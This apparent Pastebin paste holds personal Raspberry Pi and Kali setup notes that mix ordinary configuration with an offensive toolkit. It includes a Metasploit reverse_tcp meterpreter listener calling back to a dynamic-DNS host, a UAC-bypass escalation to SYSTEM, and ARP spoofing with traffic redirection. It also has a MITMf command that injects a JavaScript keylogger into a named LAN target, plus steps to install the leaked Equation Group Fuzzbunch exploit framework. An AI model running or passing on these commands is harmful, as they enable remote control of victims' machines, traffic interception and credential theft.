Advertisement
doug_drealer

Setup_Stuff

Oct 3rd, 2017
344
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 14.10 KB | None | 0 0
  1. ### FUZZBUNCH ###
  2. sudo apt-get install wine winbind winetricks
  3. sudo dpkg --add-architecture i386 && sudo apt-get update && sudo apt-get install wine32
  4. WINEPREFIX="$HOME/.wine-fuzzbunch" WINEARCH=win32 wine wineboot
  5. export WINEPREFIX=$HOME/.wine-fuzzbunch
  6. wine regedit ---> "HKEY_CURRENT_USER" ---> "Environment" ---> "New" ---> "String Value"
  7. Name: "PATH"
  8. click "Modify" and paste
  9. "c:\\windows;c:\\windows\\system;C:\\Python26;C:\\fuzzbunch-debian\\windows\\fuzzbunch"
  10. # "Registry" ---> "Exit"
  11. cd $HOME/.wine-fuzzbunch/drive_c
  12. winetricks python26
  13. cd $HOME/.wine-fuzzbunch/drive_c/fuzzbunch-debian/windows
  14. wine cmd.exe
  15. python fb.py
  16.  
  17. ### SETUP WEBSERVER ###
  18. sudo apt-get install apache2 php-common mysql-common phpmyadmin
  19.  
  20. ### ps1encode.rb ###
  21. wget https://raw.githubusercontent.com/CroweCybersecurity/ps1encode/master/ps1encode.rb
  22.  
  23. ### Video dekodieren
  24. ffmpeg -loop 1 -i Cover.jpg -i Musik.mp3 -c:v libx264 -tune stillimage -c:a aac -b:a 320k -pix_fmt yuv420p -shortest out.mp4
  25.  
  26. ### Youtube Upload ###
  27. sudo youtube-upload --title "Titel auf YouTube" Input.mp4
  28.  
  29. ### BASICS ###
  30. username: pi
  31. password: raspberry
  32. sudo -s
  33. passwd
  34. passwd pi
  35. apt-get update
  36. apt-get install sudo nano raspi-config usbutils dosfstools iptables
  37. raspi-config
  38. #rpi-update
  39. apt-get upgrade
  40. reboot
  41. # apt-get dist-upgrade
  42.  
  43. ### SETUP WIFI ###
  44. apt-get install firmware-linux-nonfree wireless-tools wpasupplicant pixiewps
  45.  
  46. ### SETUP GUI ###
  47. sudo apt-get install raspi-config usbutils dosfstools iptables xserver-xorg xinit lightdm lxde-core lxappearance xfce4 xfce4-terminal
  48. rpi-update
  49. # PIXEL    - raspberrypi-ui-mods
  50. # LXDE GUI - lxde-core lxappearance
  51. # XFCE GUI - xfce4 xfce4-terminal
  52. # MATE     - mate-desktop-environment-core
  53. startx
  54.  
  55. ### ADD USER ###
  56. passwd
  57. useradd -m dak47 (userdel)
  58. passwd dak47
  59. usermod -a -G sudo dak47
  60. chsh -s /bin/bash dak47
  61.  
  62. ### SHELLCOLOR ###
  63. pi
  64. PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
  65. root
  66. PS1='${debian_chroot:+($debian_chroot)}\[\033[01;31m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
  67.  
  68. ### RESIZE SD ###
  69. fdisk /dev/mmc
  70. d,2,n,p,2,w
  71. reboot now
  72. resize2fs /dev/mmcblk0p2
  73.  
  74. ### RASPI-CONFIG ###
  75. sudo -s
  76. wget http://archive.raspberrypi.org/debian/pool/main/r/raspi-config/raspi-config_20121028_all.deb
  77. wget http://http.us.debian.org/debian/pool/main/l/lua5.1/lua5.1_5.1.5-7.1_armhf.deb
  78. wget http://http.us.debian.org/debian/pool/main/t/triggerhappy/triggerhappy_0.3.4-2_armhf.deb
  79. dpkg -i triggerhappy_0.3.4-2_armhf.deb
  80. dpkg -i lua5.1_5.1.5-7.1_armhf.deb
  81. dpkg -i raspi-config_20121028_all.deb
  82.  
  83. ### SETUP JAVA ###
  84. echo "deb http://ppa.launchpad.net/webupd8team/java/ubuntu trusty main" >> /etc/apt/sources.list
  85. echo "deb-src http://ppa.launchpad.net/webupd8team/java/ubuntu precise main" >> /etc/apt/sources.list
  86. sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys EEA14886
  87. sudo apt-get update
  88. sudo apt-get install oracle-java8-installer oracle-java8-set-default oracle-java8-unlimited-jce-policy oracle-java8-jdk iceweasel
  89.  
  90. ### STATIC INTERFACE NAME ###
  91. sudo nano /etc/udev/rules.d/70-persistent-net.rules
  92. SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="b8:27:eb:6e:53:94", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth0"
  93. SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="7c:dd:90:74:99:50", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="wlan0"
  94. SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:11:7f:51:99:ba", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="wlan1"
  95.  
  96. ### MSF AUTORUN SCRIPT ###
  97. use multi/handler
  98. set PAYLOAD windows/x64/meterpreter/reverse_tcp
  99. set LHOST dak47.ddns.net
  100. set LPORT 4747
  101. set AutoRunScript multiconsolecommand -cl "background"
  102. exploit #Starts the listener
  103. #AutoRunScript is run
  104. use exploit/windows/local/bypassuac_injection
  105. set payload windows/x64/meterpreter/reverse_tcp
  106. set lhost dak47.ddns.net
  107. set LPORT 8888
  108. set session 1
  109. set target 1
  110. set AutoRunScript multiconsolecommand -cl "getsystem","getuid"
  111. exploit #Runs Priv_Escalation
  112. #AutoRunScript is run
  113.  
  114. ### CURL ###
  115. sudo apt-get install php5-curl
  116. cd /usr/local/src
  117. wget http://curl.haxx.se/download/curl-7.36.0.tar.gz
  118. tar -xvzf curl-7.36.0.tar.gz
  119. rm *.gz
  120. cd curl-7.36.0
  121. sudo apt-get install build-essential
  122. ./configure
  123. make
  124. make install
  125. reboot
  126.  
  127. ### INTERFACES ###
  128. auto lo
  129. iface lo inet loopback
  130. allow-hotplug eth0
  131. iface eth0 inet manual
  132. allow-hotplug eth1
  133. iface eth1 inet dhcp
  134. iface wlan0 inet dhcp
  135.  
  136.  
  137. byobu
  138.  
  139. ### KALI TFT ###
  140. http://whitedome.com.au/re4son/index.php/2015/11/16/sticky-fingers-kali-pi/
  141.  
  142. ### EXAGEAR ###
  143. mkdir exagear
  144. cd exagear
  145. wget http://downloads.eltechs.com/exagear-desktop-v-1-5/exagear-desktop-rpi2.tar.gz
  146. tar xvf exagear-desktop-rpi2.tar.gz
  147. sudo ./install-exagear.sh ubuntu-1504
  148.  
  149. ### NO-IP-UPDATE-CLIENT ###
  150. sudo su -
  151. cd /usr/local/src
  152. wget http://www.no-ip.com/client/linux/noip-duc-linux.tar.gz
  153. tar xzf noip-duc-linux.tar.gz
  154. cd no-ip-2.1.9
  155. make
  156. make install
  157. /usr/local/bin/noip2 -C
  158. /usr/local/bin/noip2
  159.  
  160. ### RENAME USER PI ###
  161. sudo adduser --no-create-home inter
  162. sudo visudo
  163. inter ALL=(ALL) NOPASSWD: ALL
  164. sudo usermod --move-home --login dak47 --home /home/dak47 pi
  165. sudo groupmod -n dak47 pi
  166. sudo visudo
  167. # inter  ALL=(ALL) NOPASSWD: ALL
  168. # pi     ALL=(ALL) NOPASSWD: ALL
  169.   dak47  ALL=(ALL) NOPASSWD: ALL
  170. sudo deluser inter
  171. sudo nano /usr/bin/raspi-config
  172. 2x) if id -u pi > /dev/null 2>&1; then ÄNDERN IN if id -u dak47 > /dev/null 2>&1; then
  173. 1x) sed /etc/lightdm/lightdm.conf -i -e "s/^#autologin-user=.*/autologin-user=pi/" ÄNDERN IN
  174.     sed /etc/lightdm/lightdm.conf -i -e "s/^#autologin-user=.*/autologin-user=dak47/"
  175. 1x) passwd pi ÄNDERN IN passwd dak47
  176. sudo raspi-config --> AutoLogin pi wählen
  177. sudo reboot
  178.  
  179. ### PORTS ÄNDERN ###
  180. sudo nano /etc/ssh/sshd_config
  181. # Port 22 ---> Port **
  182. sudo /etc/init.d/ssh restart
  183. ###
  184. cd ~
  185. wget http://prdownloads.sourceforge.net/webadmin/webmin-1.710-minimal.tar.gz
  186. tar -zxvf webmin-1.710-minimal.tar.gz
  187. cd webmin-1.710
  188. sudo ./setup.sh
  189.  
  190. ### OPENBOX MENU COMMAND ###
  191. xterm -e sh -c "cd /pentest/enumeration/theHarvester; python theHarvester.py;sudo -s"
  192.  
  193. ### WLAN DROPOUT STOP ###
  194. sudo nano /etc/modprobe.d/8192cu.conf
  195. and paste the following in
  196. # Disable power saving
  197. options 8192cu rtw_power_mgnt=0 rtw_enusbss=1 rtw_ips_mode=1
  198. Then reboot with sudo reboot
  199.  
  200. ### BASICS ###
  201. apt-get install git python3.4 apt-utils nano rpi-update firmware-ralink unzip openbox xorg aptitude obconf obmenu konsole tint2 nitrogen sudo
  202.  
  203. ### MITMF ###
  204. apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file
  205. pip install virtualenvwrapper
  206. nano .bashrc
  207. source /usr/bin/virtualenvwrapper.sh
  208. source /usr/bin/virtualenvwrapper.sh
  209. mkvirtualenv MITMf -p /usr/bin/python3.4
  210. git clone https://github.com/byt3bl33d3r/MITMf.git
  211. cd MITMf && git submodule init && git submodule update --recursive
  212. pip install -r requirements.txt
  213. sudo mitmf -i eth0 --arp --spoof --dns --hsts --gateway 192.168.178.1 --target 192.168.178.22 --jskeylogger
  214.  
  215. ### WEBMIN ###
  216. sudo apt-get update
  217. sudo apt-get install perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl apt-show-versions
  218. wget http://prdownloads.sourceforge.net/webadmin/webmin_1.760_all.deb
  219. sudo dpkg --install webmin_1.760_all.deb
  220.  
  221. ### ARPSPOOF ###
  222. arp -a
  223. arpspoof -i eth0 -t <victim ip> <gateway ip>
  224. arpspoof -i eth0 -t <gateway ip> <victim ip>
  225. sysctl -w net.ipv4.ip_forward=1
  226. iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
  227. mitmproxy -T --host
  228. ~s ~h "Host: .*\.cnn\.com" ~u /$
  229.  
  230. ### METASPLOIT ###
  231. sudo -s
  232. cd
  233. apt-get -y install autoconf bundler bison build-essential curl git-core libapr1 libaprutil1 libcurl4-openssl-dev libgmp3-dev libpcap-dev libpq-dev
  234. libreadline6-dev libsqlite3-dev libssl-dev libsvn1 libtool libxml2 libxml2-dev libxslt-dev libyaml-dev locate ncurses-dev openssl postgresql postgresql-contrib wget xsel zlib1g zlib1g-dev
  235. mkdir -p $HOME/git
  236. cd $HOME/git
  237. git clone git@github.com:YOUR_USERNAME_FOR_GITHUB/metasploit-framework
  238. cd metasploit-framework
  239. git remote add upstream git@github.com:rapid7/metasploit-framework.git
  240. git fetch upstream
  241. git checkout -b upstream-master --track upstream/master
  242. curl -sSL https://rvm.io/mpapis.asc | gpg --import -
  243. curl -L https://get.rvm.io | bash -s stable
  244. curl -o rvm.sh -L https://get.rvm.io
  245. less rvm.sh # Read it and see it's all good
  246. cat rvm.sh | bash -s stable
  247. source ~/.rvm/scripts/rvm
  248. cd ~/git/metasploit-framework
  249. rvm --install .ruby-version
  250. gem install bundler
  251. gconftool-2 --set --type boolean /apps/gnome-terminal/profiles/Default/login_shell true
  252. ruby -v
  253. cd ~/git/metasploit-framework/
  254. bundle install
  255.  
  256. ### ADAFRUIT REPO ###
  257. echo "deb http://apt.adafruit.com/raspbian/ jessie main" >> /etc/apt/sources.list
  258. sudo wget -O - -q https://apt.adafruit.com/apt.adafruit.com.gpg.key | apt-key add -
  259. sudo apt-get update
  260.  
  261. ### PORTING FUZZBUNCH TO LINUX ###
  262. sudo apt-get install wine winbind winetricks
  263. dpkg --add-architecture i386 && apt-get update && apt-get install wine32
  264. WINEPREFIX="$HOME/.wine-fuzzbunch" WINEARCH=win32 wine wineboot
  265. export WINEPREFIX=$HOME/.wine-fuzzbunch
  266. -------------
  267. wine regedit
  268. # Select the folder: "HKEY_CURRENT_USER"
  269. # Under that folder, select: "Environment"
  270. # Right Click in the registry editor.
  271. # Select "New", then "String Value"
  272. # In the text box that just appeared, type "PATH"
  273. # Right click the item you just created and click "Modify"
  274. # Under the field labeled "Value Data" type (or copy /paste):
  275. c:\\windows;c:\\windows\\system;C:\\Python26;C:\\fuzzbunch-debian\\windows\\fuzzbunch
  276. # Then click "Registry" in the upper left hand corner, and click "Exit" to exit the registry editor.
  277. ---------------
  278. cd $HOME/.wine-fuzzbunch/drive_c
  279. git clone https://github.com/mdiazcl/fuzzbunch-debian.git
  280. cd fuzzbunch-debian
  281. winetricks python26
  282.  
  283. sudo apt-get install wifite cowpatty aircrack-ng isc-dhcp-server reaver dsniff hostapd iptables bully sslstrip beef-xss expect lighttpd crunch ettercap-graphical hashcat mdk3 bettercap pixiewps
  284.  
  285.  
  286. ##### INSTALL GUI
  287. sudo apt-get install --no-install-recommends xserver-xorg
  288. sudo apt-get install --no-install-recommends xinit
  289. sudo apt-get install raspberrypi-ui-mods
  290. sudo apt-get install --no-install-recommends raspberrypi-ui-mods lxterminal gvfs
  291.  
  292. ##### INSTALL PITFT
  293. curl -SLs https://apt.adafruit.com/add-pin | sudo bash
  294. sudo apt-get install raspberrypi-bootloader
  295. sudo nano /boot/config.txt
  296. ADD @ END
  297. [pi1]
  298. device_tree=bcm2708-rpi-b-plus.dtb
  299. [pi2]
  300. device_tree=bcm2709-rpi-2-b.dtb
  301. [all]
  302. dtparam=spi=on
  303. dtparam=i2c1=on
  304. dtparam=i2c_arm=on
  305. dtoverlay=pitft28r,rotate=90,speed=32000000,fps=20
  306. ----------
  307. sudo reboot
  308. sudo mv /usr/share/X11/xorg.conf.d/99-fbturbo.conf ~
  309. export FRAMEBUFFER=/dev/fb1
  310. startx
  311. STRG+C
  312. sudo nano /etc/modules
  313. ADD
  314. stmpe-ts
  315. ----------
  316. sudo reboot
  317. sudo mkdir /etc/X11/xorg.conf.d
  318. sudo nano /etc/X11/xorg.conf.d/99-calibration.conf
  319. ADD
  320. Section "InputClass"
  321.         Identifier      "calibration"
  322.         MatchProduct    "stmpe-ts"
  323.         Option  "Calibration"   "3800 200 200 3800"
  324.         Option  "SwapAxes"      "1"
  325. EndSection
  326. ----------
  327. FRAMEBUFFER=/dev/fb1 startx
  328. sudo nano ~/.profile
  329. ADD @ TOP
  330. export FRAMEBUFFER=/dev/fb1
  331. sudo reboot
  332.  
  333. ##### ADD USER / CHANGE PASSWD
  334. sudo -s
  335. passwd
  336. useradd -m pi
  337. passwd pi
  338. usermod -a -G sudo pi
  339. ch sh /bin/bash sudo pi
  340.  
  341. sudo apt-get install python python-pip ruby gem apache2 metasploit-framework beef-xss armitage aptitude xrdp openssl-server
  342.  
  343. ##### Porting the leaked Equation Group (EQGRP) “Fuzzbunch” tool to Linux
  344.  
  345. sudo apt-get install wine winbind winetricks
  346. dpkg --add-architecture i386 && apt-get update && apt-get install wine32
  347. WINEPREFIX="$HOME/.wine-fuzzbunch" WINEARCH=win32 wine wineboot
  348. export WINEPREFIX=$HOME/.wine-fuzzbunch
  349.  
  350. wine regedit
  351. Select the folder: "HKEY_CURRENT_USER"
  352. Under that folder, select: "Environment"
  353.  
  354. Right Click in the registry editor.
  355. Select "New", then "String Value"
  356.  
  357. In the text box that just appeared, type "PATH"
  358. Right click the item you just created and click "Modify"
  359.  
  360. Under the field labeled "Value Data" type (or copy /paste):
  361.  
  362. c:\\windows;c:\\windows\\system;C:\\Python26;C:\\fuzzbunch-debian\\windows\\fuzzbunch
  363. Then click "Registry" in the upper left hand corner, and click "Exit" to exit the registry editor.
  364.  
  365. Now, we're going to CD into our newly created Wine folder, and grab the files we need from github.
  366.  
  367. cd $HOME/.wine-fuzzbunch/drive_c
  368. You will need to apt-get install git if it isn't already.
  369.  
  370. git clone https://github.com/mdiazcl/fuzzbunch-debian.git
  371. Now, we're going to install Python2.6 and pywin32 into our Wine environment. (Have no fear, for WINETRICKS IS HERE!)
  372.  
  373. Simply type:
  374.  
  375. winetricks python26
  376.  
  377. Winetricks will install both Python2.6 and pywin32 for you with that one command. All you need to do is select "For all users" and keep on hitting next.
  378.  
  379. Now, we're going to inspect our final product! The FuzzBunch python application.
  380.  
  381. First, we need to CD into where the program is located.
  382.  
  383. cd $HOME/.wine-fuzzbunch/drive_c/fuzzbunch-debian/windows
  384. Now, we type "wine cmd.exe" and then "python fb.py"
  385.  
  386. ### WEBSERVER ###
  387. sudo apt-get update
  388. sudo apt-get install apache2
  389. sudo apt-get install php5
  390. cd /var/www
  391. sudo nano phpinfo.php
  392. -----
  393. <?php
  394. phpinfo();
  395. ?>
  396. -----
  397. sudo bash
  398. apt-get install mysql-server mysql-client php5-mysql
  399. sudo restart
  400. sudo bash
  401. apt-get install libapache2-mod-auth-mysql php5-mysql phpmyadmin
  402.  
  403. ### JAVA ###
  404. sudo apt-get purge openjdk*
  405. sudo apt-key adv –recv-key –keyserver keyserver.ubuntu.com EEA14886
  406. sudo nano /etc/apt/sources.list
  407. deb http://ppa.launchpad.net/webupd8team/java/ubuntu trusty main
  408. deb-src http://ppa.launchpad.net/webupd8team/java/ubuntu trusty main
  409. sudo apt-get update
  410. sudo apt-get install oracle-java8-installer
  411. sudo apt-get install oracle-java8-set-default
  412. sudo apt-get purge openjdk*
  413. sudo apt-get purge java7*
  414. sudo apt-get autoremove
  415. java -version
  416.  
  417. ### No-IP ###
  418. cd /usr/local/src
  419. wget http://www.no-ip.com/client/linux/noip-duc-linux.tar.gz
  420. tar xzf noip-duc-linux.tar.gz
  421. cd no-ip-2.1.9
  422. make
  423. make install
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement